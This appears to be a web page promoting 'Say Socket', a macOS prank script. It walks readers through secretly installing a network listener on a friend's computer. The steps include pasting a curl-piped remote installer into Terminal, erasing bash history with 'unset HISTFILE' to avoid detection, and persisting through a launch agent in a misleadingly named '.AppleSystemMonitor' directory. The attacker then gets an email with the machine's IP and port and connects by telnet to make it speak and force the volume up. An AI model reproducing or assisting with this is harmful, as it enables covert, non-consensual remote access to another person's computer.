Say Socket sockets opened

Did you know that OSX (Mac) has a command to make the computer talk?

It's freaking hilarious! After playing around with this new discovery, I began do dream up some troll applications to prank friends using this command. Say Socket is the latest iteration of my say prank scripts. Enjoy!

Signup below to generate an installation command that will notify you by email when the socket is accessed*


  1. Hop on your buddies computer when they're not looking
  2. Navigate a web browser (incognito if you want to hide traffic) to
  3. Enter your email and click "Generate"
  4. Select & copy the command given
  5. Open the Terminal (open a new tab if Terminal is already running)
  6. Paste your command and run! (Hit "ENTER"):
     $ php <(curl -s "")

    NOTE: If you want to be extra sneaky, disable bash history before running your command:

     $ unset HISTFILE

  7. Close the terminal window opened by you

    The email you used to generate the installer will be notified once the SS portal has successfully opened

  8. With IP and Port specified in the notification email, connect using telnet
     $ telnet [IP ADDRESS] [PORT]
    This should look something like this:
     $ telnet 12345

    NOTE: If connecting via PuTTY (Windows), use the "Raw" connection type instead of "Telnet".

  9. If your connection is successful, you should see this welcome message along with the say prompt:
     ____                ____             _        _
    / ___|  __ _ _   _  / ___|  ___   ___| | _____| |_
    \___ \ / _` | | | | \___ \ / _ \ / __| |/ / _ \ __|
     ___) | (_| | |_| |  ___) | (_) | (__|   <  __/ |_
    |____/ \__,_|\__, | |____/ \___/ \___|_|\_\___|\__|
    Type anything to say it through the socket.
    To quit, type 'quit', 'exit', or 'shutdown'.
  10. Now anything you type will be spoken by their computer!

    Except special characters and existing shell commands

  11. Are they confused and attempting to mute their sound?
    Good thing it comes with a volume override!

    Instead of entering something silly for their computer to say, use the custom "volume" command

    The "volume" command will accept integer [0-9] as the volume level

     say> volume 9

  12. You got caught and they're pissed.
    Good thing it comes with an uninstall script!

    To remove SaySocket completely from their system run:
     $ ss_remove

    The initial install will create "ss_install" and "ss_remove" inside of ~/.bin

    The "ss_install" script is a copy of the original install script

    The removal process should look something like this:

    You MUST answer "y" or "n" to all questions asked during removal

    Unload launch agent? (y/n) y
    Remove file: ~/Library/LaunchAgents/ (y/n) y
    Remove directory: ~/.AppleSystemMonitor? (y/n) y
    Remove file: .bin/ss_install? (y/n) y
    Remove file: .bin/ss_remove? (y/n) y
    SS removal complete.